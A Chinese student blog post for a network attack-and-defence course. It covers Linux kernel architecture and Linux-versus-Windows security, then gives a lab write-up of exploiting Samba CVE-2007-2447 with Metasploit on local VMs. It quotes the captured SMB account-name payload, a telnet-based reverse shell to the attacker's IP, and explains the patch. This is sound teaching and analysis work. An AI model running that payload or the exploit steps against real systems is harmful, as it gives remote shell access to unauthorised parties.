本博客属于课程:《网络攻防实践》
本次做业:《第八周做业》
我在这个课程的目标:掌握知识与技能,加强能力和本领,提升悟性和水平。html
Linux的总体架构以下图所示:linux
最内层是硬件,最外层是用户经常使用的应用,好比说firefox浏览器,evolution查看邮件,一个计算流体模型等等。硬件是物质基础,而应用提供服务。但在二者之间,还要通过一番周折。
还记得Linux启动。Linux首先启动内核 (kernel),内核是一段计算机程序,这个程序直接管理管理硬件,包括CPU、内存空间、硬盘接口、网络接口等等。全部的计算机操做都要经过内核传递给硬件。
为了方便调用内核,Linux将内核的功能接口制做成系统调用(system call)。系统调用看起来就像C语言的函数。你能够在程序中直接调用。Linux系统有两百多个这样的系统调用。用户不须要了解内核的复杂结构,就可使用内核。系统调用是操做系统的最小功能单位。一个操做系统,以及基于操做系统的应用,都不可能实现超越系统调用的功能。web
内核是操做系统的核心,具备不少最基本功能,它负责管理系统的进程、内存、设备驱动程序、文件和网络系统,决定着系统的性能和稳定性。
Linux 内核由以下几部分组成:内存管理、进程管理、设备驱动程序、文件系统和网络管理等。如图:算法
系统调用接口:SCI 层提供了某些机制执行从用户空间到内核的函数调用。这个接口依赖于体系结构,甚至在相同的处理器家族内也是如此。SCI 其实是一个很是有用的函数调用多路复用和多路分解服务。
。shell
内存管理
对任何一台计算机而言,其内存以及其它资源都是有限的。为了让有限的物理内存知足应用程序对内存的大需求量,Linux 采用了称为“虚拟内存”的内存管理方式。Linux 将内存划分为容易处理的“内存页”(对于大部分体系结构来讲都是 4KB)。Linux 包括了管理可用内存的方式,以及物理和虚拟映射所使用的硬件机制。
不过内存管理要管理的可不止 4KB 缓冲区。Linux 提供了对 4KB 缓冲区的抽象,例如 slab 分配器。这种内存管理模式使用 4KB 缓冲区为基数,而后从中分配结构,并跟踪内存页使用状况,好比哪些内存页是满的,哪些页面没有彻底使用,哪些页面为空。这样就容许该模式根据系统须要来动态调整内存使用。
为了支持多个用户使用内存,有时会出现可用内存被消耗光的状况。因为这个缘由,页面能够移出内存并放入磁盘中。这个过程称为交换,由于页面会被从内存交换到硬盘上。内存管理的源代码能够在 ./linux/mm 中找到。编程
进程管理
进程实际是某特定应用程序的一个运行实体。在 Linux 系统中,可以同时运行多个进程,Linux 经过在短的时间间隔内轮流运行这些进程而实现“多任务”。这一短的时间间隔称为“时间片”,让进程轮流运行的方法称为“进程调度” ,完成调度的程序称为调度程 序。
进程调度控制进程对CPU的访问。当须要选择下一个进程运行时,由调度程序选择最值得运行的进程。可运行进程其实是仅等待CPU资源的进程,若是某个进程在等待其它资源,则该进程是不可运行进程。Linux使用了比较简单的基于优先级的进程调度算法选择新的进程。
经过多任务机制,每一个进程可认为只有本身独占计算机,从而简化程序的编写。每一个进程有本身单独的地址空间,而且只能由这一进程访问,这样,操做系统避免了进程之间的互相干扰以及“坏”程序对系统可能形成的危害。 为了完成某特定任务,有时须要综合两个程序的功能,例如一个程序输出文本,而另外一个程序对文本进行排序。为此,操做系统还提供进程间的通信机制来帮助完成这样的任务。Linux 中常见的进程间通信机制有信号、管道、共享内存、信号量和套接字等。
内核经过 SCI 提供了一个应用程序编程接口(API)来建立一个新进程(fork、exec 或 Portable Operating System Interface [POSⅨ] 函数),中止进程(kill、exit),并在它们之间进行通讯和同步(signal 或者 POSⅨ 机制)。windows
文件系统
和 DOS 等操做系统不一样,Linux 操做系统中单独的文件系统并非由驱动器号或驱动器名称(如 A: 或 C: 等)来标识的。相反,和 UNIX 操做系统同样,Linux 操做系统将独立的文件系统组合成了一个层次化的树形结构,而且由一个单独的实体表明这一文件系统。Linux 将新的文件系统经过一个称为“挂装”或“挂上”的操做将其挂装到某个目录上,从而让不一样的文件系统结合成为一个总体。Linux 操做系统的一个重要特色是它支持许多不一样类型的文件系统。Linux 中最广泛使用的文件系统是 Ext2,它也是 Linux 土生土长的文件系统。但 Linux 也可以支持 FAT、VFAT、FAT3二、MINIX 等不一样类型的文件系统,从而能够方便地和其它操做系统交换数据。因为 Linux 支持许多不一样的文件系统,而且将它们组织成了一个统一的虚拟文件系统.
虚拟文件系统(VirtualFileSystem,VFS):隐藏了各类硬件的具体细节,把文件系统操做和不一样文件系统的具体实现细节分离了开来,为全部的设备提供了统一的接口,VFS提供了多达数十种不一样的文件系统。虚拟文件系统能够分为逻辑文件系统和设备驱动程序。逻辑文件系统指Linux所支持的文件系统,如ext2,fat等,设备驱动程序指为每一种硬件控制器所编写的设备驱动程序模块。
虚拟文件系统(VFS)是 Linux 内核中很是有用的一个方面,由于它为文件系统提供了一个通用的接口抽象。VFS 在 SCI 和内核所支持的文件系统之间提供了一个交换层。即VFS 在用户和文件系统之间提供了一个交换层。
在 VFS 上面,是对诸如 open、close、read 和 write 之类的函数的一个通用 API 抽象。在 VFS 下面是文件系统抽象,它定义了上层函数的实现方式。它们是给定文件系统(超过 50 个)的插件。文件系统的源代码能够在 ./linux/fs 中找到。
文件系统层之下是缓冲区缓存,它为文件系统层提供了一个通用函数集(与具体文件系统无关)。这个缓存层经过将数据保留一段时间(或者随即预先读取数据以便在须要是就可用)优化了对物理设备的访问。缓冲区缓存之下是设备驱动程序,它实现了特定物理设备的接口。
所以,用户和进程不须要知道文件所在的文件系统类型,而只须要象使用 Ext2 文件系统中的文件同样使用它们。浏览器
设备驱动程序
设备驱动程序是 Linux 内核的主要部分。和操做系统的其它部分相似,设备驱动程序运行在高特权级的处理器环境中,从而能够直接对硬件进行操做,但正由于如此,任何一个设备驱动程序的错误均可能致使操做系统的崩溃。设备驱动程序实际控制操做系统和硬件设备之间的交互。设备驱动程序提供一组操做系统可理解的抽象接口完成和操做系统之间的交互,而与硬件相关的具体操做细节由设备驱动程序完成。通常而言,设备驱动程序和设备
的控制芯片有关,例如,若是计算机硬盘是 SCSI 硬盘,则须要使用 SCSI 驱动程序,而不是 IDE 驱动程序。缓存
网络接口(NET)
提供了对各类网络标准的存取和各类网络硬件的支持。网络接口可分为网络协议和网络驱动程序。网络协议部分负责实现每一种可能的网络传输协议。众所周知,TCP/IP 协议是 Internet 的标准协议,同时也是事实上的工业标准。Linux 的网络实现支持 BSD 套接字,支持所有的TCP/IP协议。Linux内核的网络部分由BSD套接字、网络协议层和网络设备驱动程序组成。
网络设备驱动程序负责与硬件设备通信,每一种可能的硬件设备都有相应的设备驱动程序安全
人们都说Linux很安全,较之Windows更安全?
安全性并非针对某个产品自己而言的。它是一整套以用户为核心的体系。安全性指的是在用户和软件之间,经过适当的交互方式,所达成的一种活跃状态。
更加卓越的补丁管理工具:
在微软的Windows系统中,自动更新程序只会升级那些由微软公司官方所提供的组件。而第三方的应用程序却不会获得修补。从而,第三方的应用程序可能会给你的系统带来大量的安全隐患。你在使用Real player播放器吗?你须要单独升级它。在使用Flash?你仍是须要单独进行升级。依此类推,对于电脑上全部的应用程序,你都须要按期地对每一款软件单独进行更新升级。这种方法很是的繁琐,而且让人心烦,而绝大多数用户很快就将这项工做忘到九霄云外去了。
而在Linux系统中,当你在自动更新系统的时候,它将同时升级系统中全部的软件。在Ubuntu系统中,你所下载的任何软件产品,都会出如今系统的程序仓库当中,要升级它,你只须要用鼠标轻轻一点。而在其它Linux发行版本中,若是下载的软件并无出如今系统的程序仓库中,要添加它也是很是的简便。这样的设计,极大地提升了用户实时更新系统的积极性。
更加健壮的默认设置:
Linux系统天生就被设计成一个多用户的操做系统。所以,即使是某个用户想要进行恶意破坏,底层系统文件依然会受到保护。假如,在很是不幸的状况下,有任何远程的恶意代码在系统中被执行了,它所带来的危害也将被局限在一个小小的局部之中。
与之造成鲜明对照的是微软的Windows XP系统。在这里,用户会默认以系统管理员的身份登陆,而在系统中所发生的任何损害,都会迅速蔓延到整个系统之中。微软最新的Windows Vista系统让用户在默认设置下以受限用户的身份登陆,所以它要比本身的前任更加安全一点。
模块化设计:
Linux系统采用的是模块化设计。这表示,若是不须要的话,你能够将任何一个系统组件给删除掉。由此而带来的一个好处是,若是用户感受Linux系统的某个部分不太安全,他就能够移除掉这个组件。这对于Windows系统来讲,简直是难以想象的。好比说,若是我感受对于本身的Linux系统来讲,Firefox网络浏览器是最薄弱的一个环节,我彻底能够删除掉它,用其它网络浏览器来替代,好比说Opera。而在Windows系统当中,即使是再不满意,我也没法替换微软的Internet Explorer网络浏览器。
更棒的“零日攻击(zero-day attacks)”防护工具
即使你能确保本身的系统实时更新,这也并不表明着万无一失!零日攻击(zero-day attacks,指的是在软件生产厂商发布针对漏洞的更新补丁以前,就抢先利用该漏洞发动网络攻击的攻击方式)正在变得日益猖獗。此外,一项调查研究也显示:对于攻击者来讲,他们只须要6天时间就可以开发出针对漏洞的恶意攻击代码,而软件生产厂商们却须要花费长得多的时间才可以推出相应的更新补丁。所以,一套睿智的安全策略在防护零日攻击方面相当重要。微软的Windows XP系统并无提供这样的一套防护机制。而新的Vista系统,在保护模式状态之下,虽然有必定效果,可是也只能对针对Internet Explorer网络浏览器的攻击提供一点有限的保护。
与之相对应的是,不管是何种类型的远程遥控代码攻击,AppArmor或SELinux,都可以为系统提供细致而周全的保护。有愈来愈多的主流Linux发行版本,在系统中都默认整合了AppArmor(例如,SuSE、Ubuntu Gutsy)或者SELinux(Fedora、Debian Etch、Yellow Dog)。即使是对于其它发行版原本说,用户也能够很是方便地从网络上下载并安装这两套软件。
开放源代码构架:
在Linux系统中,当谈论到系统安全性的时候,用“你所看到的,就是你所获得的”这句话来形容,是再合适也不过了。开放源代码意味着,任何可能的软件漏洞都将被“无数双眼睛”所看到,而且获得尽量快的修复。而更重要的是,这同时也意味着,在这里没有任何被隐藏的修复措施。做为用户,只要你有心,就能够找出本身系统所存在的安全问题,并采起相应的防范措施以应对潜在的安全威胁,即使是在此时该漏洞尚未被修补。
而在Windows世界当中,有不少安全问题都是被掩盖起来的。微软公司内部所发现的软件漏洞,是不会让外界所知晓的,而他们所想的只是在下一个更新升级包中对它进行默默地修补就能够了。虽然这样作可让被公开的软件漏洞数目更少,并让某些漏洞不会被大规模地利用,但这种作法同时也蒙蔽了用户的双眼。由此所致使的结果是,用户极可能不会积极地对系统进行升级,由于他不了解本身的系统存在着什么样的漏洞,以及这些漏洞的危害大小,结果反而会成为恶意攻击的牺牲品。
多样化的系统环境:
Windows的系统环境能够说是千篇一概。这种巨大的一致性让攻击者们在编写恶意代码、病毒或其它诸如此类的一些东西时显得驾轻就熟。反过来,看一看Linux系统世界。在这里,应用程序能够是.deb、.rpm,或源代码,以及其它诸如此类的等等。这种差别性让攻击者们很难在Linux系统身上得到像Windows系统那样的普遍影响。
漏洞的时间线:
根据我的喜爱,我选用了msfconsole,这是metasploit针对命令行的操做界面
(msfgui是图形化的界面,相对更加简便)
(msfweb则是利用web注入进行反代理,和上面两种同样,都是利用模块和脚本进行快速攻击)
因为这个漏洞是针对linux的漏洞,故而攻击软件对于targets仅有Auto(经过我的尝试,auto是最好的,完美匹配各类操做系统,避免了因选错而致使的问题,同时在payload上默认也是针对shell的payload,若有额外须要能够更改,否则也是auto最方便,,,如今连攻击程序都智能了 ).
设置咱们的攻击地址lhost为192.168.220.4(VMware的Kali虚拟机),设置攻击地址为192.168.220.8(VMware的Metasploitable2虚拟机)
显然咱们进入了靶机的shell,攻击结束,针对windows的攻击能够见个人上一篇博客:针对windows的漏洞攻击
防守方用wireshark捕获到了攻击的包(没用metasploit操做系统下的补包软件,命令行的补包软件可读性仍是差了太多,这里使用windows下的操做系统对VMWare的整个Nat子网进行监控,成功捕获到了攻击的数据包)
看到包的一瞬间我“傻了”,跟咱们上次分析的包不一样,此次攻击过程短的可怕,也因而可知这个古老的漏洞真的异常危险。
Tcp连接在数据包记录的前三条,这个tcp连接创建很是顺利
分析第一条SMB包(这个usermap_script安全漏洞也是利用了SMB包进行攻击,和上一次的windows的栈溢出雷同)
正常的SMB连接创建过程应当以下:
- Negotiate Protocol Request: 在在用户输入“\服务器名\”以后,首先要作的就是把服务器名解析为IP,能够经过DNS仍是NetBIOS解析。获得IP地址后,客户端就向服务器发送第一个SMB请求:“Negotiate Protocol Request”。这个请求包含了客户端所支持的各类 SMB Dialect。
- Negotiate Protocol Response: 服务器收到该请求后,选择一个它支持的最新版本(好比NT LM 0.12),再经过“Negotiate Protocol Response”回复给客户端
- Session Setup Request: Negotiation 结束以后,,客户端请求和服务器创建一个session,在客户端发送的Session Setup Request里,包含了身份验证请求(如Kerberos的AP_REQ)。
可是,这里咱们的攻击机在登陆过程传递的SMB包中的Account并不是一个正常的Account帐户名该有的样子,给到的是一串代码:
Account: /=nohup sh -c '(sleep 3957|telnet 192.168.220.4 4444|while : ; do sh && break; done 2>&1|telnet 192.168.220.4 4444 >/dev/null 2>&1 &)'
对这段代码的意思进行解释:
因为漏洞的存在,使得咱们在登陆的时候,用户名能够被靶机映射为脚本并执行,
nohup sh
命令为在后台创建一个线程,因为参数-C
的存在,这里就使得靶机在后台执行括号里的C语言命令,而括号里的C语言命令意思是在后台执行talnet连接,连接咱们的攻击机,并且这种连接在while循环下,会不停的进行sh命令创建后台线程而且不停的telnet连接攻击机
这个攻击包咱们在网上搜索smb用户名映射脚本漏洞,便可搜索到这个漏洞CVE-2007-2447,也即usermap_script安全漏洞
修补用的补丁应当在出问题的地方其所归属的官方网站查找,这里提供修补网址,在修补网址中咱们能够找到漏洞CVE-2007-2447的[补丁](https://download.samba.org/pub/samba/patches/security/samba-3.0.24-CVE-2007-2446_v2.patch) 补丁的作法就是在全部未知的用户登陆信息的字符以前,加一个前面''字符,而且仅支持安全链接和安全的调用shell,若是用户名为空则马上丢失连接,这样就能够避免攻击者利用帐户名将攻击代码映射为脚本,如此一来就能够抵御攻击。